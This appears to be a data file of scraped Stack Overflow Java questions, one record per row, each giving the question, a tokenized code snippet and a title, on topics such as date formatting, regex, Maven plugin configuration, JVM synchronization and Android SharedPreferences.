: what is the difference when is called this : and this : System.out.println ( whale.getName ( ) ) ; I will have the same output , but in what cases or maybe when we should call the methods for the Cow class , and when form Whale class . Sorry if I gave too stupid or too simple example . I hope you undeerstood what I wanted to say . Thanks in advance .",public class Solution { public static void main ( String [ ] args ) { Cow cow = new Whale ( ) ; System.out.println ( cow.getName ( ) ) ; } public static class Cow { public String getName ( ) { return `` Im cow '' ; } } public static class Whale extends Cow { public String getName ( ) { return `` Im whale '' ; } } } Cow cow = new Whale ( ) ; System.out.println ( cow.getName ( ) ) ; Whale whale = new Whale ( ) ;,Polymorphism on simple example +Java,I have a String in Java which is a date but is formatted like:02122012I need to reformat it to look like 02/12/2012 how can this be done.With the following code I keep getting back java.text.SimpleDateFormat @ d936eac0Below is my code..,"public static void main ( String [ ] args ) { // Make a String that has a date in it , with MEDIUM date format // and SHORT time format . String dateString = `` 02152012 '' ; SimpleDateFormat input = new SimpleDateFormat ( `` ddMMyyyy '' ) ; SimpleDateFormat output = new SimpleDateFormat ( `` dd/MM/yyyy '' ) ; try { output.format ( input.parse ( dateString ) ) ; } catch ( Exception e ) { } System.out.println ( output.toString ( ) ) ; }",Taking a String that is a Date and Formatting it in Java +Java,"I need allocate file with size near 50 gigabytes , but this code : Throws exception : : Attempting to move the file pointer before the beginning of the file.When I trying allocate 50 megabytes such exception not throws.Free space of disk is much greater then needed file size .","RandomAccessFile out = new RandomAccessFile ( `` C : \\hello.txt '' , `` rw '' ) ; out.setLength ( 50 * 1024 * 1024 * 1024 ) ; // 50 giga-bytes Exception in thread `` main '' java.io.IOException : Попытка поместить указатель на файл перед началом файла at java.io.RandomAccessFile.setLength ( Native Method ) at Experiment.main ( Experiment.java:8 )",Allocate Big file +Java,"I have a formatted text like this : And , I 'm interested in Scanning only the digits . For example : For the first line I want : For this purpose , I used the following code : It works perfectely until i is one digit , but then , when i have to scan the fourth line , I do n't know why it returns the following : the file is formatted in XML , i can not post the entire file cause it 's thousands of lines , but it 's like the following :","x.i9j11k2d1 '' index= '' 603 '' value= '' 0 '' / > x.i9j11k2d2 '' index= '' 604 '' value= '' 0 '' / > x.i9j11k2d3 '' index= '' 605 '' value= '' 0 '' / > x.i10j1k1d1 '' index= '' 606 '' value= '' -0 '' / > int i , j , k , d , index , value ; i=9 , j=11 , k=2 , d=1 , index=603 , value=0 Scanner file=new Scanner ( new File ( `` C : /sol.txt '' ) ) ; while ( file.hasNext ( ) ) { System.out.println ( `` '' ) ; int i=0 ; int j=0 ; int k=0 ; int d=0 ; file.useDelimiter ( `` '' ) ; while ( ! ( file.hasNextInt ( ) ) ) { System.out.print ( file.next ( ) ) ; } //System.out.print ( file.next ( ) ) ; file.useDelimiter ( `` j '' ) ; i=file.nextInt ( ) ; System.out.print ( i ) ; file.useDelimiter ( `` '' ) ; System.out.print ( file.next ( ) ) ; //j file.useDelimiter ( `` k '' ) ; j=file.nextInt ( ) ; System.out.print ( j ) ; file.useDelimiter ( `` '' ) ; System.out.print ( file.next ( ) ) ; //k k=file.nextInt ( ) ; System.out.print ( k ) ; System.out.print ( file.next ( ) ) ; //d d=file.nextInt ( ) ; System.out.print ( d ) ; while ( ! ( file.hasNextInt ( ) ) ) { System.out.print ( file.next ( ) ) ; } file.useDelimiter ( `` \ '' '' ) ; int index=file.nextInt ( ) ; System.out.print ( index ) ; file.useDelimiter ( `` '' ) ; while ( ! ( file.hasNextInt ( ) ) ) { System.out.print ( file.next ( ) ) ; } int value=file.nextInt ( ) ; System.out.print ( value ) ; System.out.print ( file.nextLine ( ) ) ; } file.close ( ) ; } catch ( FileNotFoundException exc ) { System.out.println ( `` File non trovato '' ) ; } ... //System.out.print ( file.next ( ) ) ; file.useDelimiter ( `` j '' ) ; i=file.nextInt ( ) ; // it returns i=1 instead of 10System.out.print ( i ) ; file.useDelimiter ( `` '' ) ; System.out.print ( file.next ( ) ) ; //j -- > prints 0 instead of jfile.useDelimiter ( `` k '' ) ; j=file.nextInt ( ) ; // -- > finds j instead of 1 and // crashes with `` InputTypeMismatch '' < ? xml version = `` 1.0 '' encoding= '' UTF-8 '' standalone= '' yes '' ? > < CPLEXSolution version= '' 1.2 '' > < header problemName= '' prob '' solutionName= '' incumbent '' solutionIndex= '' -1 '' objectiveValue= '' 58.2123812523709 '' solutionTypeValue= '' 3 '' solutionTypeString= '' primal '' solutionStatusValue= '' 102 '' solutionStatusString= '' integer optimal , tolerance '' solutionMethodString= '' mip '' primalFeasible= '' 1 '' dualFeasible= '' 0 '' MIPNodes= '' 3285 '' MIPIterations= '' 22164 '' writeLevel= '' 1 '' / > < variables > < variable name= '' x.i0j1k1d1 '' index= '' 0 '' value= '' 0 '' / > < variable name= '' x.i0j1k1d2 '' index= '' 1 '' value= '' 0 '' / > < variable name= '' x.i0j1k1d3 '' index= '' 2 '' value= '' 0 '' / > < variable name= '' x.i0j1k2d1 '' index= '' 3 '' value= '' 1 '' / > < /variables > < /CPLEXSolution >",Scanning numbers from a formatted text in java +Java,Having these cases:12345678901234123456789012345123456789012345612345678901234567I need to find the String which has exact 15 chars length.Until now I made this code : The results were like this:12345678901234 ( not found which is GOOD ) 123456789012345 ( found which is GOOD ) 1234567890123456 ( found which is NOT GOOD ) 12345678901234567 ( found which is NOT GOOD ) How can I create a regex which can give me result of exact 15 like I thought this regex can give me . More then 15 is not acceptable .,String pattern = `` ( ( [ 0-9 ] ) { 15 } ) '' ; Mathcer m = new Mathcer ( pattern ) ; if ( m.find ( ) ) { System.out.println ( m.group ( 1 ) ) ; },How to create a Regex to find exact String length ? +Java,"Compiling the following interface : and checking the compiled code using javap -v -s test.MyInterface shows the following ( -s prints member signatures ) : My question is : Why is there java.lang.Object in the constant pool , knowing that an interface does not inherit from the Object class ? Also if I change the interface definition to : and run javap , I get the following : What exactly is the purpose of including java.lang.Object in the signature Ljava/lang/Object ; Ljava/lang/Comparable < Ltest/MyInterface ; > ; of the interface ? Also , if I try to view the bytecode using a tool ( specifically JBE ) , it incorrectly shows that MyInterface has java.lang.Object as superclass with the class name java.lang.Object saved in the constant pool : Note : Using jdk1.7.0_75","package test ; public interface MyInterface { public void foo ( ) ; } Compiled from `` MyInterface.java '' public interface test.MyInterface SourceFile : `` MyInterface.java '' minor version : 0 major version : 51 flags : ACC_PUBLIC , ACC_INTERFACE , ACC_ABSTRACTConstant pool : # 1 = Class # 7 // test/MyInterface # 2 = Class # 8 // java/lang/Object # 3 = Utf8 foo # 4 = Utf8 ( ) V # 5 = Utf8 SourceFile # 6 = Utf8 MyInterface.java # 7 = Utf8 test/MyInterface # 8 = Utf8 java/lang/Object { public abstract void foo ( ) ; Signature : ( ) V flags : ACC_PUBLIC , ACC_ABSTRACT } public interface MyInterface extends Comparable < MyInterface > { public void foo ( ) ; } Compiled from `` MyInterface.java '' public interface test.MyInterface extends java.lang.Comparable < test.MyInterface > Signature : # 7 // Ljava/lang/Object ; Ljava/lang/Comparable < Ltest/MyInterface ; > ; SourceFile : `` MyInterface.java '' minor version : 0 major version : 51 flags : ACC_PUBLIC , ACC_INTERFACE , ACC_ABSTRACT ...",What 's the purpose of including java.lang.Object in an interface 's Constant Pool ? +Java,Today my dilemma arises from trying to understand why there is overlapping in how Strategy and Bridge Pattern can be implemented . Here is Bridge Pattern ( Abstracting an implementation from an abstraction ) Now here is Strategy Pattern - a class behavior or its algorithm can be changed at run time . A Calculator will delegate its operations to a strategy Both of these patterns involve discarding strategy objects which encapsulate functionality . Please help with a clear difference between the Bridge Pattern ( Structural ) and Strategy Pattern ( Behavioral ) . Another confusion I am having is that they are under different umbrellas of knowledge .,"// Shapes object structure will not be concerned how they draw themselvespublic abstract class Shape { protected DrawAPI drawAPI ; protected Shape ( DrawAPI drawAPI ) { this.drawAPI = drawAPI ; } // This could also be put in the subcla public void draw ( ) { drawAPI.drawCircle ( radius , x , y ) ; } } public class Calculator { private Strategy strategy ; public Calculator ( Strategy strategy ) { this.strategy = strategy ; } public int executeStrategy ( int num1 , int num2 ) { return strategy.doOperation ( num1 , num2 ) ; } }",Design pattern - Strategy and Bridge ( Overlap in design ) +Java,"I 'm trying to write an insertion sort method , and I have managed to finish it , but I do n't understand why my first version can not work correctly.Here 's my first attempt : My output for the above code is : 8 , 10 , 10 , 22But the answer would be correct if the inside for-loop , at line 5 , is changed from : list [ i ] = list [ k ] ; to : list [ k + 1 ] = list [ k ] ; To my understanding , k + 1 is equal to i , but it must be different in loop counting and I ca n't figure out how . I have tried many sets of input , and only values that lie between the range of the 2 first indexes ( in this case 8 and 22 ) would be incorrect .","public static void insertionSort ( int [ ] list ) { for ( int i = 1 ; i < list.length ; i++ ) { int current = list [ i ] ; for ( int k = i - 1 ; k > = 0 & & current < list [ k ] ; k -- ) { list [ i ] = list [ k ] ; list [ k ] = current ; } } } public static void main ( String [ ] args ) { int [ ] list = { 8 , 22 , 90 , 10 } ; insertionSort ( list ) ; }",Why is there a difference between two similar implementations of a 'for ' loop ? +Java,"I have a java application with maven having below structure : I have configured both PMD and checkstyle in parent pom.xml . For PMD the rulesets are configured as below , and it works fine both for parent and child modules : However , for checkstyle if I configure configLocation in the same way , it fails either in the parent or the child . I have to use a custom property to overcome that.Here is a reproducer sample - https : //github.com/ramtech123/pocs/blob/master/myapp-parent-module/pom.xmlI tried running the maven build in debug mode . From the logs , for me it seems like the actual PMD execution is happening for only child module , hence it is going through without issues.Could someone help me understand the root cause , and improve my configuration.Thanks in advance .","parent| - pom.xml| - child | - pom.xml| - analyzers | - pmdrules.xml | - checkstyle.xml < configuration > < rulesets > < ruleset > $ { basedir } /../analyzers/pmdrules.xml < /ruleset > < /rulesets > < /configuration > < configuration > < ! -- Below config with $ { projectRootDir } , a custom property always pointing to parent root works fine -- > < configLocation > $ { projectRootDir } /analyzers/checkstyle.xml < /configLocation > < ! -- Below configurations with $ { basedir } will fail build for child -- > < ! -- < configLocation > $ { basedir } /analyzers/checkstyle.xml < /configLocation > -- > < ! -- Below configurations with $ { basedir } will fail build for parent -- > < ! -- < configLocation > $ { basedir } /../analyzers/checkstyle.xml < /configLocation > -- > < /configuration >",Difference with Checkstyle and PMD configuration in maven parent module +Java,Output is : I want output to be : Any ideas ? But if day has two numbers I need it to have one space :,SimpleDateFormat sdf = new SimpleDateFormat ( `` MMM dd HH : mm : ss '' ) ; System.out.println ( sdf.format ( new Date ( ) ) ) ; SimpleDateFormat sdff = new SimpleDateFormat ( `` MMM d HH : mm : ss '' ) ; System.out.println ( sdff.format ( new Date ( ) ) ) ; Aug 04 10:58:55 Aug 4 10:58:55 Aug 04 10:58:55 Aug 4 10:58:55 Aug 14 10:58:55 Aug 4 10:58:55,Space instead of leading 0 Date Java +Java,"I have two panes - parent pane and child pane . Child pane is inside parent pane . Parent pane has the following css rules : Child pane has the following css rules : And this is one of the corner : As you see the corner is a little pale - I mean parent border is not well seen in the very corner ( left bottom corner ) . To solve this problem I added to child -fx-background-radius:25 however it did n't help . How to fix it , taking into consideration I ca n't add padding to parent or margin to child ?","-fx-border-color : derive ( -fx-background , -35 % ) ; -fx-border-width:1 ; -fx-border-style : solid ; -fx-border-radius:4 ; -fx-background-radius:25 ;",Child pane css style when parent pane has -fx-border-radius in JavaFX +Java,"UPDATE1 : It is not just parameter names , eclipse does not display any javadoc information at all . When you hover over a class nothing is displayed.UPDATE2 : My eclipse version is 4.2.0.I 'm using Eclipse and I would like to attach a library 's javadocs to my project so that when I implement an interface and choose the option Add unimplemented methods the methods parameter names show up correctly instead of arg0 , arg1 , etc.Problem is : When I generate the javadocs through eclipse ( Project > Generate Javadocs ... ) and link it to my project it works , in other words , I see the correct method parameter names.When I generate the javadocs through maven-javadoc-plugin and link it to my project it does not work , in other words , I see arg0 , arg1 , etc.Perhaps I 'm not configuring my maven-javadoc-plugin correctly ? Below the configuration from my pom.xml : Any help will be appreciated . Not seeing the parameter names is very bad .",< plugin > < artifactId > maven-javadoc-plugin < /artifactId > < version > 2.8 < /version > < executions > < execution > < id > attach-javadocs < /id > < goals > < goal > jar < /goal > < /goals > < /execution > < /executions > < /plugin >,Library javadocs generated by maven-javadoc-plugin does not work when linked on Eclipse +Java,"I am trying to split a string into multiple strings but rather than using a string just one simple regex pattern , I am trying to use a regex pattern that will split a string into different strings if it detects certain characters , but the characters are different . Instead of splitting the string into different strings , it 's giving me each and every individual characters in said string.Using the above line , I have a variable called line which , as an example , I am putting this line from a file : I am just wondering if there is a way to make this split intoAnd if I put in a line like this : So that it splits intoI was using String # split ( regex ) for the || symbol and it worked just fine , but now that I want it to split wherever that are || or & & or ! = and I want my code to be efficient and clean and easy to read .","String [ ] splitstr = line.split ( `` ( [ & ] { 2 } ) ? ( [ | ] { 2 } ) ? ( ! = ) ? `` ) ; : if [ input=right || input=Right ] : `` : if [ input=right '' , `` input=Right ] : '' : if [ input=right || input=Right & & input ! = null ] : `` : if [ input=right '' , `` input=Right '' , `` input ! = null ] : ''",Split a String Into Multiple Strings Using a Regex With Different Capture Groups +Java,"This may be a duplicate question , but I 've found this part of code in a book about concurrency . This is said to be thread-safe : From my ( concurrency beginners ' ) point of view , thread t1 and thread t2 could both read currentCount = 1 . Then both threads could change the maps ' value to 2 . Can someone please explain me if the code is okay or not ?","ConcurrentHashMap < String , Integer > counts = new ... ; private void countThing ( String thing ) { while ( true ) { Integer currentCount = counts.get ( thing ) ; if ( currentCount == null ) { if ( counts.putIfAbsent ( thing , 1 ) == null ) break ; } else if ( counts.replace ( thing , currentCount , currentCount + 1 ) ) { break ; } } }",Java ConcurrentHashMap actions atomicity +Java,"Is there a way to find out whether a Java function ( or a constructor ) that takes varargs was actually called with varargs or with an array ? Say I have the following : The constructor may be called with a single MyObject [ ] argument , which may change later , and if I do not copy the array in the constructor those changes will apply to the member variable objects as well , right ? However , if the constructor is called with several MyObjects , there is no other reference to the array* to change it later outside the class , so I could assign it directly . Can I tell inside the constructor ( or , generally , any function that takes varargs ) how it was called ? *nb : Is there a specific name for this ? Is it simply an anonymous array ?","public class MyCompositeObjects { MyObject [ ] objects ; MyCompositeObjects ( MyObjects ... objects ) { this.objects = Arrays.copyOf ( objects , objects.length ) ; // or just : this.objects = objects ; ? } // ... }",Java : Find out whether function was called with varargs or array +Java,"Result : OneResult : TwoI know that at runtime , even though the object reference is of the super class type , the actual object type will be known and the actual object 's method will be called . But if that is the case , then on runtime the doThing ( Two t ) method should be called but instead the super class method doThing ( One o ) is called . I would be glad if somebody explained itIn the second piece of code it prints `` Two '' . Question : when calling from the super class reference it is calling the doThing ( One o ) when calling from the sub class reference it is calling the doThing ( Two o ) NOTE : I know that i am over loading and not over riding . i have edited my question for better clarity .",class One { public void doThing ( One o ) { System.out.println ( `` One '' ) ; } } class Two extends One { public void doThing ( Two t ) { System.out.println ( `` Two '' ) ; } } public class Ugly { public static void main ( String [ ] args ) { Two t = new Two ( ) ; One o = t ; o.doThing ( new Two ( ) ) ; } } class One { public void doThing ( One o ) { System.out.println ( `` One '' ) ; } } class Two extends One { public void doThing ( Two t ) { System.out.println ( `` Two '' ) ; } } public class Ugly { public static void main ( String [ ] args ) { Two t = new Two ( ) ; One o = t ; t.doThing ( new Two ( ) ) ; } },Why is the super class method called ? +Java,"Im using SharedPreference on android to store a Set of Strings . It is stored and retrived fine to my knowledge but when the app is restarted some data is lost . Strings are add one by one and before adding them I retrieve the set , add a String and then store it again.This is how I store it : And this is how I get it back : I saw some similar questions about this topic but none of the answers solved my problem . Any ideas ?","Set < String > emptySet = null ; SharedPreferences prefs = getContext ( ) .getSharedPreferences ( getContext ( ) .getString ( R.string.pref_disagree_key ) , Activity.MODE_PRIVATE ) ; String newIdAgreed = getItem ( position ) .getId ( ) ; if ( prefs.contains ( getContext ( ) .getString ( R.string.pref_disagree_key ) ) ) { Set < String > updateSet = prefs.getStringSet ( getContext ( ) .getString ( R.string.pref_disagree_key ) , emptySet ) ; updateSet.add ( newIdAgreed ) ; SharedPreferences.Editor editor = prefs.edit ( ) ; editor.putStringSet ( getContext ( ) .getString ( R.string.pref_disagree_key ) , updateSet ) ; editor.commit ( ) ; } else { Set < String > newSet = new HashSet < String > ( ) ; newSet.add ( newIdAgreed ) ; SharedPreferences.Editor editor = prefs.edit ( ) ; editor.putStringSet ( getContext ( ) .getString ( R.string.pref_disagree_key ) , newSet ) ; editor.commit ( ) ; } if ( prefsDisagree.contains ( getContext ( ) .getString ( R.string.pref_disagree_key ) ) ) { disagree_set = new HashSet < String > ( prefsDisagree.getStringSet ( getContext ( ) .getString ( R.string.pref_disagree_key ) , emptySet ) ) ; for ( String item : disagree_set ) { //stuff done here } }",Set < String > losing data when restored from SharedPreferences after app is restarted +Java,"I have the following class : When I look at the disassembled code I do n't see the difference between the representation of three methods getNext ( ) , getNextSync ( ) and getNextVolatile ( ) .How the JMV can distinguish between these methods ? The generated code is the same of these methods and also of their callers . How the JVM performs the synchronization ?",public class SeqGenerator { int last = 0 ; volatile int lastVolatile = 0 ; public int getNext ( ) { return last++ ; } public synchronized int getNextSync ( ) { return last++ ; } public int getNextVolatile ( ) { return lastVolatile++ ; } public void caller ( ) { int i1 = getNext ( ) ; int i2 = getNextSync ( ) ; int i3 = getNextVolatile ( ) ; } } public int getNext ( ) ; Code : 0 : aload_0 1 : dup 2 : getfield # 2 ; //Field last : I 5 : dup_x1 6 : iconst_1 7 : iadd 8 : putfield # 2 ; //Field last : I 11 : ireturnpublic synchronized int getNextSync ( ) ; Code : 0 : aload_0 1 : dup 2 : getfield # 2 ; //Field last : I 5 : dup_x1 6 : iconst_1 7 : iadd 8 : putfield # 2 ; //Field last : I 11 : ireturnpublic int getNextVolatile ( ) ; Code : 0 : aload_0 1 : dup 2 : getfield # 3 ; //Field lastVolatile : I 5 : dup_x1 6 : iconst_1 7 : iadd 8 : putfield # 3 ; //Field lastVolatile : I 11 : ireturnpublic void caller ( ) ; Code : 0 : aload_0 1 : invokevirtual # 4 ; //Method getNext : ( ) I 4 : istore_1 5 : aload_0 6 : invokevirtual # 5 ; //Method getNextSync : ( ) I 9 : istore_2 10 : aload_0 11 : invokevirtual # 6 ; //Method getNextVolatile : ( ) I 14 : istore_3 15 : return,jvm differences between synchronized and non-synchronized methods +Java,I tried to make http get request with code : But get an exception `` java.net.SocketException : Permission denied '' with the last line.Android-2.2 with eclipse IDE . Curl request in the host system works fine.How can i make http request in the right way ? Thanks !,"String username = `` test\\v100 '' ; String host = `` 1.2.3.4 '' ; String password = `` pass '' ; HttpClient client = new DefaultHttpClient ( ) ; AuthScope as = new AuthScope ( host , 90 ) ; UsernamePasswordCredentials upc = new UsernamePasswordCredentials ( username , password ) ; ( ( AbstractHttpClient ) client ) .getCredentialsProvider ( ) .setCredentials ( as , upc ) ; BasicHttpContext localContext = new BasicHttpContext ( ) ; BasicScheme basicAuth = new BasicScheme ( ) ; localContext.setAttribute ( `` preemptive-auth '' , basicAuth ) ; HttpHost targetHost = new HttpHost ( host , 90 , `` http '' ) ; HttpGet httpget = new HttpGet ( `` / '' ) ; HttpResponse response = client.execute ( targetHost , httpget , localContext ) ; curl -u test\v100 : pass `` http : //1.2.3.4:90 ''",httpget request with auth +Java,"I am trying to create a method that will find the next column after a given column . For example : It seems quite simple at first . I was just going to use the following method : The problem arises when you get past column Z . In Google Sheets , after column Z , column names are two letters , then three , etc . So after column Z comes AA , after AZ comes BA , after ZZ comes AAA , etc . My next thought was to first figure out the column position in terms of index . So column AA would 27 , BA 52 , etc.Finding the index of the column is not the problem I 'm facing right now . I need to figure out how to convert that index to the corresponding column name . I was going to try the following method , but I realized that it is also limited to A-Z : At this point , I am thinking that a recursive method is needed . However , I can not figure out to set it up . This is as far as I got : Does anyone know a good way to convert an integer ( index ) to the corresponding column name ? EDITI just found a very helpful resource on Github which deals with hexavigesimals : https : //gist.github.com/pinguet62/9817978",input : Aoutput : B public static char nextLetter ( char c ) { c++ ; return c ; } public static char getLetter ( int index ) { return ( char ) ( index + 64 ) ; } private static void getNotation ( int size ) { int divided = size / 26 ; int remainder = size % 26 ; String notation = `` '' ; while ( divided % 26 > 0 ) { // Here is where the need for a recursive method comes in } },How can I convert an integer to A1 notation ? +Java,"I have added a local notifications so when my app gets a push while opening there is still a popup and a sound.It 's working fine on Android , but on iOS the local notification does n't appear at all.The push notifications are working fine on both platforms.This is my code in the push callback that should trigger the notification ( if the app is open ) :","if ( Display.getInstance ( ) .getCurrent ( ) ! = null ) { LocalNotification n = new LocalNotification ( ) ; n.setId ( value ) ; n.setAlertBody ( value ) ; n.setAlertTitle ( { app name } ) ; n.setBadgeNumber ( 1 ) ; Display.getInstance ( ) .scheduleLocalNotification ( n , System.currentTimeMillis ( ) + 1000 , LocalNotification.REPEAT_NONE ) ; }",codename one local notifications not working on ios +Java,"I have a java spark application where the output from the spark job needs to be collected and then saved into a csv file . This is my code below : When i execute the spark job in google data proc , i get the file not found exception . Also i do have read/write permissions to that folder.It looks like the filewriter at runtime uses single slash / instead of the double slashes //after gs : . How can i solve this ? I am also open to other ways instead of FileWriter to write a file to google data proc .","fileWriter = new FileWriter ( `` gs : //dataflow-exp1/google_storage_tests/20170524/outputfolder/Test.csv '' , true ) ; fileWriter.append ( `` col1 , col2 , col3 , col4 '' ) ; java.io.FileNotFoundException : gs : /dataflow-exp1/google_storage_tests/20170524/outputfolder/Test.csv ( No such file or directory ) at java.io.FileOutputStream.open0 ( Native Method ) at java.io.FileOutputStream.open ( FileOutputStream.java:270 ) at java.io.FileOutputStream. < init > ( FileOutputStream.java:213 ) at java.io.FileOutputStream. < init > ( FileOutputStream.java:133 ) at java.io.FileWriter. < init > ( FileWriter.java:78 ) at com.src.main.MyApp.testWriteOutput ( MyApp.java:72 ) at com.src.main.MyApp.main ( MyApp.java:30 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.apache.spark.deploy.SparkSubmit $ .org $ apache $ spark $ deploy $ SparkSubmit $ $ runMain ( SparkSubmit.scala:736 ) at org.apache.spark.deploy.SparkSubmit $ .doRunMain $ 1 ( SparkSubmit.scala:185 ) at org.apache.spark.deploy.SparkSubmit $ .submit ( SparkSubmit.scala:210 ) at org.apache.spark.deploy.SparkSubmit $ .main ( SparkSubmit.scala:124 ) at org.apache.spark.deploy.SparkSubmit.main ( SparkSubmit.scala )",How to write a file using FileWriter to google dataproc ? +Java,"This question is so simple , you can probably just read the codeThis is a very simple performance question . In the code example below , I wish to set the Owner on my Cat object . I have the ownerId , but the cats method for requires an Owner object , not a Long . Eg : setOwner ( Owner owner ) I 'm using the ownerId to load an Owner object , so I can call the setter on the Cat which is simply going to pull out the id , and save the Cat record with an owner_id . So essentially I 'm loading an owner for nothing.What is the correct pattern for this ?",@ Autowired OwnerRepository ownerRepository ; @ Autowired CatRepository catRepository ; Long ownerId = 21 ; Cat cat = new Cat ( `` Jake '' ) ; cat.setOwner ( ownerRepository.findById ( ownerId ) ) ; // What a waste of timecatRepository.save ( cat ),JPA : How do I avoid loading an object simply so I can store its ID in the database ? +Java,"I know that you can safely publish a non-thread safe object by writing the reference to a final or volatile field which will later be read by exactly one other thread , provided that upon publication , the thread that created the object discards the reference to it so it can no longer interfere with or unsafely observe the object 's use in the other thread.But in this example , there 's no explicit final field , only final local variables . If the caller discards its reference to unsafe , is this safe publication ? I found a few Q & As , like this one , suggesting that final local variables are implicitly `` copied '' into anonymous classes . Does that mean that the above example is equivalent to this ? Edit for clarification : Unsafe could be anything , but say it 's something like this : And mExecutor is anything that satisfies the contract of Executor .",void publish ( final Unsafe unsafe ) { mExecutor.execute ( new Runnable ( ) { public void run ( ) { // do something with unsafe } } } void publish ( final Unsafe unsafe ) { mExecutor.execute ( new Runnable ( ) { final Unsafe mUnsafe = unsafe ; public void run ( ) { // do something with mUnsafe } } } public class Unsafe { public int x ; },Safe publication of local final references +Java,"I have integration tests with hsqldb ( in memory ) , now I need to set savepoint in my tests , in BaseTest class , How can to set savepoint in tests ( hsqldb ( in-memory ) ) ? BaseTest : my Test : TestConfig :","@ ContextConfiguration ( classes = { TestConfig.class } ) public class BaseTest { @ Before public void savePoint ( ) { //set savepoint - How can do it this ? } @ After public void rollBackToSavePoint ( ) { //roll back to savepoint - How can do it this ? } } @ RunWith ( SpringJUnit4ClassRunner.class ) public class MyTest extends BaseTest { @ Test public void test1 ( ) { ... } } import org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration ; import org.springframework.boot.autoconfigure.orm.jpa.HibernateJpaAutoConfiguration ; @ Configuration @ EnableJpaRepositories ( `` database.dao '' ) @ ComponentScan ( basePackageClasses = { MyServiceImpl.class } ) @ EntityScan ( { `` database.model '' } ) @ Import ( { DataSourceAutoConfiguration.class , HibernateJpaAutoConfiguration.class } ) public class TestConfig { ... }",How can to set savepoint in integration tests ( with hsqldb in-memory ) ? +Java,"I have a javascript/html/css application being served with Springboot on Bluemix . Running the app locally works just fine , and the code has not been changed in a couple months . When I attempt to push the app using the CF CLI , I get the following error : I have other apps using the liberty for java buildpack on Bluemix that are doing fine , but this app specifically has started crashing with no changes to the environment or code , and the errors are not too helpful . I 've tried increasing memory and using several different buildpacks ( IBM 's websphere libery as well as cloud foundry 's ) to no avail Any advice would be appreciated .","2017-11-13T12:18:29.89-0600 [ CELL/0 ] OUT Successfully destroyed container 2017-11-13T12:19:33.32-0600 [ CELL/0 ] OUT Creating container 2017-11-13T12:19:37.70-0600 [ CELL/0 ] OUT Successfully created container 2017-11-13T12:19:55.79-0600 [ CELL/0 ] OUT Starting health monitoring of container 2017-11-13T12:19:59.83-0600 [ APP/PROC/WEB/0 ] OUT 18:19:59.812 [ main ] INFO app.Application - App Started 2017-11-13T12:20:03.49-0600 [ APP/PROC/WEB/0 ] OUT 2017-11-13 18:20:03,485 INFO [ main ] app : app.Application : Starting Application on with PID 13 ( /home/vcap/app/BOOT-INF/classes started by vcap in /home/vcap/app ) 2017-11-13T12:20:03.49-0600 [ APP/PROC/WEB/0 ] OUT 2017-11-13 18:20:03,487 INFO [ main ] app : app.Application : No active profile set , falling back to default profiles : default 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR J9Generic_Signal_Number=00000004 Signal_Number=0000000b Error_Value=00000000 Signal_Code=00000001 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR RCX=0000000000000536 RDX=0000000000000000 R8=000000000000000C R9=00000000FFFFFFF9 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR RIP=00007F82CB50AADF GS=0000 FS=0000 RSP=00007F82CC39F460 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm12 4207fffffff8016a ( f : 4294443264.000000 , d : 1.288490e+10 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm13 3c57c00000000000 ( f : 0.000000 , d : 5.149960e-18 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Module=/home/vcap/app/.java/jre/lib/amd64/compressedrefs/libj9vm29.so 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR CPU=amd64 ( 4 logical CPUs ) ( 0x7daa33000 RAM ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB4E869F [ libj9vm29.so+0xeb69f ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB4DED50 [ libj9vm29.so+0xe1d50 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Java_java_lang_ClassLoader_defineClassImpl+0xa4 ( 0x00007F82C0D69134 [ libjclse7b_29.so+0x11134 ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Unhandled exception 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Type=Segmentation error vmState=0x00000000 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR Handler1=00007F82CB481AA0 Handler2=00007F82CAD8BE00 InaccessibleAddress=0000000000000001 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR EFlags=0000000000010246 CS=0033 RBP=00007F82CC39F9B0 ERR=0000000000000004 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR TRAPNO=000000000000000E OLDMASK=0000000000000000 CR2=0000000000000001 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm6 1610000ab3f109b8 ( f : 3018918400.000000 , d : 2.041302e-202 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm11 3c4cd58858eb8000 ( f : 1491828736.000000 , d : 3.126201e-18 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm15 4028f40b5ed97f00 ( f : 1591312128.000000 , d : 1.247665e+01 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR ( 0x00007F82CB4DDEDA [ libj9vm29.so+0xe0eda ] ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR R14=0000000000000000 R15=0000000000000000 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm0 00ff000000000000 ( f : 0.000000 , d : 7.063274e-304 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm2 6a003e74696e693c ( f : 1768843520.000000 , d : 3.978864e+202 ) 2017-11-13T12:20:03.79-0600 [ APP/PROC/WEB/0 ] ERR xmm7 b8d41014f309b3f1 ( f : 